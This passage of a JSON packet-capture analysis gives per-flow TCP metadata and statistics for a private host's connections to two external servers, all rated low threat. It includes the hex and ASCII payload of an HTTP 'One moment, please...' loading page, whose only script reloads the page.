\"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 14, \"timestamp\": 1777364126.238701, \"timestamp_iso\": \"2026-04-28T13:45:26.238701\", \"timestamp_human\": \"2026-04-28 13:45:26.238\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46859, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 15, \"timestamp\": 1777364129.521637, \"timestamp_iso\": \"2026-04-28T13:45:29.521637\", \"timestamp_human\": \"2026-04-28 13:45:29.521\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46860, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 16, \"timestamp\": 1777364135.852563, \"timestamp_iso\": \"2026-04-28T13:45:35.852563\", \"timestamp_human\": \"2026-04-28 13:45:35.852\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46861, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783903, \"tcp_ack\": 1692602478, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}, {\"packet_number\": 17, \"timestamp\": 1777364139.250482, \"timestamp_iso\": \"2026-04-28T13:45:39.250482\", \"timestamp_human\": \"2026-04-28 13:45:39.250\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46862, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411405, \"tcp_ack\": 1369756557, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"PSH\": 16, \"ACK\": 18, \"RST\": 2}, \"packet_sizes\": [153, 153, 153, 153, 153, 302, 302, 302, 153, 302, 302, 153, 302, 302, 153, 302, 54, 54], \"inter_packet_intervals\": [0.3089921474456787, 0.609346866607666, 1.20318603515625, 1.2029950618743896, 0.026627063751220703, 0.30148792266845703, 0.6151599884033203, 0.265470027923584, 0.9450349807739258, 1.2031159400939941, 0.26558899879455566, 0.93756103515625, 2.410737991333008, 1.530691146850586, 3.282935857772827, 6.330925941467285, 3.397919178009033], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 24.83777618408203, \"avg_packet_size\": 208.22222222222223, \"packets_per_second\": 0.7247025605913863, \"bytes_per_second\": 150.8991776164731, \"min_packet_size\": 54, \"max_packet_size\": 302, \"median_packet_size\": 153, \"avg_interval\": 1.4610456578871782, \"min_interval\": 0.026627063751220703, \"max_interval\": 6.330925941467285}, {\"source\": \"192.168.122.168\", \"target\": \"200.58.112.73\", \"packet_count\": 7, \"total_bytes\": 930, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [50146], \"dst_ports\": [80], \"first_packet\": 1777364229.232482, \"last_packet\": 1777364230.185831, \"packets\": [{\"packet_number\": 18, \"timestamp\": 1777364229.232482, \"timestamp_iso\": \"2026-04-28T13:47:09.232482\", \"timestamp_human\": \"2026-04-28 13:47:09.232\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"200.58.112.73\", \"ttl\": 128, \"ip_id\": 1757, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50146, \"dst_port\": 80, \"tcp_seq\": 1929701154, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 20, \"timestamp\": 1777364229.232724, \"timestamp_iso\": \"2026-04-28T13:47:09.232724\", \"timestamp_human\": \"2026-04-28 13:47:09.232\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"200.58.112.73\", \"ttl\": 128, \"ip_id\": 1758, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50146, \"dst_port\": 80, \"tcp_seq\": 1929701155, \"tcp_ack\": 2107325958, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 21, \"timestamp\": 1777364229.236115, \"timestamp_iso\": \"2026-04-28T13:47:09.236115\", \"timestamp_human\": \"2026-04-28 13:47:09.236\", \"size\": 594, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"200.58.112.73\", \"ttl\": 128, \"ip_id\": 1759, \"ip_len\": 580, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50146, \"dst_port\": 80, \"tcp_seq\": 1929701155, \"tcp_ack\": 2107325958, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 24, \"timestamp\": 1777364230.045155, \"timestamp_iso\": \"2026-04-28T13:47:10.045155\", \"timestamp_human\": \"2026-04-28 13:47:10.045\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"200.58.112.73\", \"ttl\": 128, \"ip_id\": 1760, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50146, \"dst_port\": 80, \"tcp_seq\": 1929701695, \"tcp_ack\": 2107329374, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 27, \"timestamp\": 1777364230.072036, \"timestamp_iso\": \"2026-04-28T13:47:10.072036\", \"timestamp_human\": \"2026-04-28 13:47:10.072\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"200.58.112.73\", \"ttl\": 128, \"ip_id\": 1761, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50146, \"dst_port\": 80, \"tcp_seq\": 1929701695, \"tcp_ack\": 2107336342, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 31, \"timestamp\": 1777364230.184382, \"timestamp_iso\": \"2026-04-28T13:47:10.184382\", \"timestamp_human\": \"2026-04-28 13:47:10.184\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"200.58.112.73\", \"ttl\": 128, \"ip_id\": 1762, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50146, \"dst_port\": 80, \"tcp_seq\": 1929701695, \"tcp_ack\": 2107338354, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 32, \"timestamp\": 1777364230.185831, \"timestamp_iso\": \"2026-04-28T13:47:10.185831\", \"timestamp_human\": \"2026-04-28 13:47:10.185\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"200.58.112.73\", \"ttl\": 128, \"ip_id\": 1763, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50146, \"dst_port\": 80, \"tcp_seq\": 1929701695, \"tcp_ack\": 2107338354, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 6, \"PSH\": 1, \"FIN\": 1}, \"packet_sizes\": [66, 54, 594, 54, 54, 54, 54], \"inter_packet_intervals\": [0.00024199485778808594, 0.0033910274505615234, 0.8090400695800781, 0.026880979537963867, 0.11234593391418457, 0.0014491081237792969], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.9533491134643555, \"avg_packet_size\": 132.85714285714286, \"packets_per_second\": 7.342535804709406, \"bytes_per_second\": 975.5083283399639, \"min_packet_size\": 54, \"max_packet_size\": 594, \"median_packet_size\": 54, \"avg_interval\": 0.15889151891072592, \"min_interval\": 0.00024199485778808594, \"max_interval\": 0.8090400695800781}, {\"source\": \"200.58.112.73\", \"target\": \"192.168.122.168\", \"packet_count\": 9, \"total_bytes\": 12893, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [50146], \"first_packet\": 1777364229.232541, \"last_packet\": 1777364230.185859, \"packets\": [{\"packet_number\": 19, \"timestamp\": 1777364229.232541, \"timestamp_iso\": \"2026-04-28T13:47:09.232541\", \"timestamp_human\": \"2026-04-28 13:47:09.232\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"200.58.112.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50146, \"tcp_seq\": 2107325957, \"tcp_ack\": 1929701155, \"tcp_window\": 42340, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 22, \"timestamp\": 1777364229.236135, \"timestamp_iso\": \"2026-04-28T13:47:09.236135\", \"timestamp_human\": \"2026-04-28 13:47:09.236\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"200.58.112.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 18373, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50146, \"tcp_seq\": 2107325958, \"tcp_ack\": 1929701695, \"tcp_window\": 82, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 23, \"timestamp\": 1777364230.044762, \"timestamp_iso\": \"2026-04-28T13:47:10.044762\", \"timestamp_human\": \"2026-04-28 13:47:10.044\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"200.58.112.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 18374, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50146, \"tcp_seq\": 2107325958, \"tcp_ack\": 1929701695, \"tcp_window\": 82, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 3168, \"payload_preview\": \"3c21444f43545950452068746d6c3e0a3c68746d6c206c616e673d22656e223e0a3c686561643e0a20203c6d65746120636861727365743d2275746638223e0a20203c6d657461206e616d653d2276696577706f72742220636f6e74656e743d2277696474683d6465766963652d77696474682c696e697469616c2d7363616c653d312e30223e0a20203c7363726970743e0a2020202020202866756e6374696f6e28297b0a2020202020202020202073657454696d656f75742866756e6374696f6e28297b0a202020202020202020202020202077696e646f772e6c6f636174696f6e2e72656c6f616428293b0a202020202020202020207d2c2035303030293b0a2020202020207d2829290a20203c2f7363726970743e0a20203c6c696e6b2072656c3d2269636f6e2220687265663d22646174613a2c223e0a20203c7469746c653e4f6e65206d6f6d656e742c20706c656173652e2e2e3c2f7469746c653e0a20203c7374796c653e0a2e7370696e6e6572207b0a202020202d7765626b69742d616e696d6174696f6e3a207370696e20317320656173652d6f75743b0a20202020616e696d6174696f6e3a207370696e20317320656173652d6f75743b0a7d0a406b65796672616d6573207370696e207b0a202020203025207b0a20202020202020202d7765626b69742d7472616e73666f726d3a20726f746174652830646567293b0a20202020202020202d6d6f7a2d7472616e73666f726d3a20726f746174652830646567293b0a20202020202020202d6d732d7472616e73666f726d3a20726f746174652830646567293b0a20202020202020202d6f2d7472616e73666f726d3a20726f746174652830646567293b0a20202020202020207472616e73666f726d3a20726f746174652830646567293b0a202020207d0a2020202031303025207b0a20202020202020202d7765626b69742d7472616e73666f726d3a20726f7461746528333630646567293b0a20202020202020202d6d6f7a2d7472616e73666f726d3a20726f7461746528333630646567293b0a20202020202020202d6d732d7472616e73666f726d3a20726f7461746528333630646567293b0a20202020202020202d6f2d7472616e73666f726d3a20726f7461746528333630646567293b0a20202020202020207472616e73666f726d3a20726f7461746528333630646567293b0a202020207d0a7d0a236f757465722d636f6e7461696e6572207b0a20202020746578742d616c69676e3a2063656e7465723b0a7d0a23636f6e7461696e6572207b0a2020202020202020646973706c61793a20696e6c696e652d626c6f636b3b0a20202020202020206865696768743a2031303070783b0a202020207d0a2374657874207b0a20202020666c6f61743a206c6566743b0a202020206865696768743a2031303070783b0a202020206c696e652d6865696768743a2031303070783b0a20202020666f6e742d73697a653a203372656d3b0a20202020666f6e742d66616d696c793a20224d6f6e74736572726174222c2073616e732d73657269663b0a20202020666f6e742d6f70746963616c2d73697a696e673a206175746f3b0a20202020666f6e742d7765696768743a203430303b0a20202020666f6e742d7374796c653a206e6f726d616c3b0a2020202070616464696e673a2030202e34656d2030202e32656d3b0a202020206c65747465722d73706163696e673a20302e3036656d3b0a20202020636f6c6f723a20726762612833382c203132322c2037322c20302e3836293b0a7d0a406d6564696120286d696e2d6865696768743a20313830707829207b0a20202020236f757465722d636f6e7461696e6572207b0a20202020202020206d617267696e2d746f703a20303b0a202020207d0a7d0a406d6564696120286d696e2d6865696768743a20333630707829207b0a20202020236f757465722d636f6e7461696e6572207b0a20202020202020206d617267696e2d746f703a2035253b0a202020207d0a7d0a406d6564696120286d696e2d6865696768743a20353430707829207b0a20202020236f757465722d636f6e7461696e6572207b0a20202020202020206d617267696e2d746f703a203130253b0a202020207d0a7d0a406d6564696120286d696e2d6865696768743a20373230707829207b0a20202020236f757465722d636f6e7461696e6572207b0a20202020202020206d617267696e2d746f703a203230253b0a202020207d0a7d0a406d6564696120286d696e2d77696474683a2031343530707829207b0a202020202e7468726f62626572207b0a202020202020202077696474683a20393070783b0a20202020202020206865696768743a20393070783b0a2020202020202020666c6f61743a206c6566743b0a202020202020202070616464696e673a20357078203020357078203570783b0a20202020202020206f7061636974793a20302e38363b0a202020207d0a2020202023636f6e7461696e6572207b0a2020202020202020646973706c61793a20696e6c696e652d626c6f636b3b0a2020202020202020626f726465723a2033707820736f6c6964207267622833382c203132322c2037322c20302e3836293b0a2020202020202020626f726465722d7261646975733a20353170783b0a20202020202020206865696768743a2031303070783b0a202020207d0a7d0a0a20203c2f7374796c653e0a3c2f686561643e0a3c626f64793e0a20203c6469762069643d226f757465722d636f6e7461696e6572223e0a202020203c6469762069643d22636f6e7461696e6572223e0a3c64697620636c6173733d227468726f62626572223e0a202020203c73766720636c6173733d227370696e6e6572222077696474683d223930707822206865696768743d2239307078222076696577426f783d22302030203437203437220a20202020202020202076657273696f6e3d22312e31220a202020202020202020786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f737667220a202020202020202020786d6c6e733a786c696e6b3d22687474703a2f2f7777772e77332e6f72672f313939392f786c696e6b223e0a20202020202020203c7469746c653e4c6f616465723c2f7469746c653e0a20202020202020203c646566733e0a2020202020202020202020203c706f6c79676f6e2069643d22706174682d31220a202020202020202020202020202020202020202020706f696e74733d223020302e33373534383431343620302031352e373235353639352031352e373031333234342031352e373235353639352031352e3730313332343420302e333735343834313436203020302e333735343834313436223e3c2f706f6c79676f6e3e0a20202020202020203c2f646566733e0a20202020202020203c672069643d22506167652d3122207374726f6b653d226e6f6e6522207374726f6b652d77696474683d2231222066696c6c3d226e6f6e65220a202020202020202020202066696c6c2d72756c653d226576656e6f6464223e0a2020202020202020202020203c672069643d224c6f676f22207472616e73666f726d3d227472616e736c617465282d352e3030303030302c202d322e30303030303029223e0a202020202020202020202020202020203c672069643d2247726f75702d3222207472616e73666f726d3d227472616e736c61746528352e3030303030302c20322e30303030303029223e0a20202020202020202020202020202020202020203c7061746820643d224d32322e363135303234342c342e3532393838323933204332332e313533383034392c332e30363235363538352032332e363033313730372c312e35393538323139352032342e3233313933392c302e313538383832393237204332352e313930323830352c322e32323435393032342032352e383139303438382c342e34333938393531322032362e373736383137312c362e3437353739373536204332392e313431373139352c372e34303337363039382033312e373136343032342c372e373932393433392033342e313131363832392c382e3639313130323434204332382e393632333137312c31312e323636333538352032332e373232393633342c31332e373531303533372031382e343833363039382c31362e313736313339204331392e373730393531322c31322e323534353034392032312e323338323638332c382e343231373132322032322e363135303234342c342e3532393838323933204c32322e363135303234342c342e3532393838323933205a220a20202020202020202020202020202020202020202020202020206964\", \"payload_ascii\": \"<!DOCTYPE html>\\n<html lang=\\\"en\\\">\\n<head>\\n  <meta charset=\\\"utf8\\\">\\n  <meta name=\\\"viewport\\\" content=\\\"width=device-width,initial-scale=1.0\\\">\\n  <script>\\n      (function(){\\n          setTimeout(function(){\\n              window.location.reload();\\n          }, 5000);\\n      }())\\n  <\\\\\\\\/script>\\n  <link rel=\\\"icon\\\" href=\\\"data:,\\\">\\n  <title>One moment, please...</title>\\n  <style>\\n.spinner {\\n    -webkit-animation: spin 1s ease-out;\\n    animation: spin 1s ease-out;\\n}\\n@keyframes spin {\\n    0% {\\n        -webkit-transform: rotate(0deg);\\n        -moz-transform: rotate(0deg);\\n        -ms-transform: rotate(0deg);\\n        -o-transform: rotate(0deg);\\n        transform: rotate(0deg);\\n    }\\n    100% {\\n        -webkit-transform: rotate(360deg);\\n        -moz-transform: rotate(360deg);\\n        -ms-transform: rotate(360deg);\\n        -o-transform: rotate(360deg);\\n        transform: rotate(360deg);\\n    }\\n}\\n#outer-container {\\n    text-align: center;\\n}\\n#container {\\n        display: inline-block;\\n        height: 100px;\\n    }\\n#text {\\n    float: left;\\n    height: 100px;\\n    line-height: 100px;\\n    font-size: 3rem;\\n    font-family: \\\"Montserrat\\\", sans-serif;\\n    font-optical-sizing: auto;\\n    font-weight: 400;\\n    font-style: normal;\\n    padding: 0 .4em 0 .2em;\\n    letter-spacing: 0.06em;\\n    color: rgba(38, 122, 72, 0.86);\\n}\\n@media (min-height: 180px) {\\n    #outer-container {\\n        margin-top: 0;\\n    }\\n}\\n@media (min-height: 360px) {\\n    #outer-container {\\n        margin-top: 5%;\\n    }\\n}\\n@media (min-height: 540px) {\\n    #outer-container {\\n        margin-top: 10%;\\n    }\\n}\\n@media (min-height: 720px) {\\n    #outer-container {\\n        margin-top: 20%;\\n    }\\n}\\n@media (min-width: 1450px) {\\n    .throbber {\\n        width: 90px;\\n        height: 90px;\\n        float: left;\\n        padding: 5px 0 5px 5px;\\n        opacity: 0.86;\\n    }\\n    #container {\\n        display: inline-block;\\n        border: 3px solid rgb(38, 122, 72, 0.86);\\n        border-radius: 51px;\\n        height: 100px;\\n    }\\n}\\n\\n  </style>\\n</head>\\n<body>\\n  <div id=\\\"outer-container\\\">\\n    <div id=\\\"container\\\">\\n<div class=\\\"throbber\\\">\\n    <svg class=\\\"spinner\\\" width=\\\"90px\\\" height=\\\"90px\\\" viewBox=\\\"0 0 47 47\\\"\\n         version=\\\"1.1\\\"\\n         xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n         xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\">\\n        <title>Loader</title>\\n        <defs>\\n            <polygon id=\\\"path-1\\\"\\n                     points=\\\"0 0.375484146 0 15.7255695 15.7013244 15.7255695 15.7013244 0.375484146 0 0.375484146\\\"></polygon>\\n        </defs>\\n        <g id=\\\"Page-1\\\" stroke=\\\"none\\\" stroke-width=\\\"1\\\" fill=\\\"none\\\"\\n           fill-rule=\\\"evenodd\\\">\\n            <g id=\\\"Logo\\\" transform=\\\"translate(-5.000000, -2.000000)\\\">\\n                <g id=\\\"Group-2\\\" transform=\\\"translate(5.000000, 2.000000)\\\">\\n                    <path d=\\\"M22.6150244,4.52988293 C23.1538049,3.06256585 23.6031707,1.59582195 24.231939,0.158882927 C25.1902805,2.22459024 25.8190488,4.43989512 26.7768171,6.47579756 C29.1417195,7.40376098 31.7164024,7.7929439 34.1116829,8.69110244 C28.9623171,11.2663585 23.7229634,13.7510537 18.4836098,16.176139 C19.7709512,12.2545049 21.2382683,8.4217122 22.6150244,4.52988293 L22.6150244,4.52988293 Z\\\"\\n                          id\"}, {\"packet_number\": 25, \"timestamp\": 1777364230.071711, \"timestamp_iso\": \"2026-04-28T13:47:10.071711\", \"timestamp_human\": \"2026-04-28 13:47:10.071\", \"size\": 4102, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"200.58.112.73\", \"dst_ip\": \"192.168.122.168\", \"ttl\": 64, \"ip_id\": 18377, \"ip_len\": 4088, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 50146, \"tcp_seq\": 2107329374, \"tcp_ack\": 1929701695, \"tcp_window\": 82, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 4048, \"payload_preview\": \"3d2246696c6c2d31222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c7061746820643d224d31332e373731383539382c382e3934343631353835204331362e313432343933392c372e36383037373433392031382e343530303739332c362e32383936383930322032302e383230373133342c352e3032353237343339204331382e393234303931352c31302e383431323337382031362e373734373031322c31362e353631343831372031342e383436353534392c32322e33373734343531204331322e373239323632322c31382e333935303534392031302e3839353638392c31342e3235343436393520382e393034343933392c31302e323039303330352043382e32373232383635392c382e383530303432363820372e353435353036312c372e353533353330343920372e30303834343531322c362e31363335393134362043392e33313534353733322c362e39353334323037332031312e343634383437362c382e32343933353937362031332e373731383539382c382e3934343631353835220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d33222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c7061746820643d224d32342e323133343235362c31352e30373435303439204332392e343630323330352c31322e343936393536312033342e373337393836362c392e39313934303733322034302e303135373432372c372e34303331383738204333392e313536353539382c392e36313237363039382033382e313734373138332c31312e373330303533372033372e323233323534392c31332e39303836373536204333382e343530343133342c31362e323039393536312033392e393534343133342c31382e3338383537382034312e303839383634362c32302e37353131383738204333352e343433353539382c31382e393430353431352032392e383238373739332c31372e303338313837382032342e323133343235362c31352e30373435303439220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d35222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c672069643d2247726f75702d39220a20202020202020202020202020202020202020202020207472616e73666f726d3d227472616e736c61746528302e3030303030302c2031312e39313936353929223e0a2020202020202020202020202020202020202020202020203c6d61736b2069643d226d61736b2d32222066696c6c3d227768697465223e0a202020202020202020202020202020202020202020202020202020203c75736520786c696e6b3a687265663d2223706174682d31223e3c2f7573653e0a2020202020202020202020202020202020202020202020203c2f6d61736b3e0a2020202020202020202020202020202020202020202020203c672069643d22436c69702d38223e3c2f673e0a2020202020202020202020202020202020202020202020203c7061746820643d224d382e33343836393032342c302e3337353438343134362043392e39333036343134362c332e33333431393134362031312e323738313635392c362e34333936333034392031322e373432363137312c392e3435363232383035204331332e373338373837382c31312e353336323634362031342e3739333432322c31332e353837363432372031352e373031333234342c31352e37323535363935204331302e343537393538352c31332e3930393139313520352e32313430313935312c31322e3033343335202d302e3030303131343633343134362c31302e303731383133342043322e30353036393032342c392e3133343130363120342e32313834323139352c382e3438393836323220362e32393834353835342c372e36313131393134362043362e39373139333431352c352e313739383031323220372e36373532313436332c322e373737303639353120382e33343836393032342c302e333735343834313436220a20202020202020202020202020202020202020202020202020202020202069643d2246696c6c2d37222066696c6c3d2223343637433435220a2020202020202020202020202020202020202020202020202020202020206d61736b3d2275726c28236d61736b2d3229223e3c2f706174683e0a20202020202020202020202020202020202020203c2f673e0a20202020202020202020202020202020202020203c7061746820643d224d32392e313739333139352c31382e30343936303439204333332e353630303633342c31392e343637303536312033372e393038313336362c32312e303737363635392034322e323838383830352c32322e35353933313232204334332e363734323334312c32332e303734353932372034352e313535383830352c32332e343630393039382034362e353038353633342c32342e31333732353132204334342e323231363132322c32352e3033393432322034312e393032353633342c32352e393130303638332033392e363437373039382c32362e38313130393237204333382e383130333037332c32392e343139353932372033382e323330323538352c33322e313236313034392033372e333630373538352c33342e37333436303439204333352e353839303837382c33312e343439373633342033342e303433323436332c32382e303335333835342033322e333638343431352c32342e36383532303234204333312e333035323039382c32322e343934353433392033302e313435363835342c32302e333034343538352032392e313739333139352c31382e30343936303439220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d3130222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c7061746820643d224d32382e393937323233322c32392e33343839323037204332392e353738393931352c32372e36393437352033302e303638343739332c32362e303131333437362033302e373431393534392c32342e33383837303132204333312e3533383038392c32352e373636303330352033322e313831313836362c32372e323335363430322033322e393135343138332c32382e36343434393339204333342e373232303532342c33322e343730393831372033362e36383131352c33362e3230353138392033382e343536383332392c34302e30333136373638204333362e323832373936332c33392e313434393831372033342e313430323834312c33382e313635343332392033312e393336343432372c33372e32343630363731204332392e363430333230372c33382e343730393332392032372e343636323834312c33392e393430353432372032352e313039343036312c34312e31303335303631204332362e333033333230372c33372e313534393332392032372e373431393739332c33332e323637313135392032382e393937323233322c32392e33343839323037220a202020202020202020202020202020202020202020202020202069643d2246696c6c2d3132222066696c6c3d2223343637433435223e3c2f706174683e0a20202020202020202020202020202020202020203c7061746820643d224d342e39373133333930322c32352e36343535352043392e39333338353132322c32372e313837333739332031342e373733373034392c32392e3033363432382031392e363734383837382c33302e36373035333738204332302e343134383531322c33302e393137303031322032312e313534323431352c33312e313934343135392032312e383332383735362c33312e35333337333239204331362e353330343733322c33332e393638353632322031312e333231343937362c33362e3634393835343920352e39353737363538352c33382e39393335352043362e